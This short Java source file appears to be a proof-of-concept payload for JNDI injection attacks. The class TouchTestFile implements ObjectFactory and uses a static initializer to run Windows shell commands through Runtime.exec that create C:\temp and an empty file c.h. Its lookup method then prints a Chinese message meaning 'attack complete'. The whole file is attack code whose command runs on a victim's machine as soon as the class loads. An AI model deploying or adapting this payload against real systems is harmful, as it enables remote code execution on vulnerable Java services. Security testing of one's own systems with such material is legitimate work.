import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;
public class TouchTestFile implements ObjectFactory {
    static {
        try {
            Runtime runtime = Runtime.getRuntime();
            runtime.exec("cmd /C mkdir temp",null,new File("C:"));
            Thread.sleep(1000L);
            runtime.exec("cmd /C type nul>c.h",null,new File("C:\\temp"));
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("攻击完成");
        return null;
    }
}
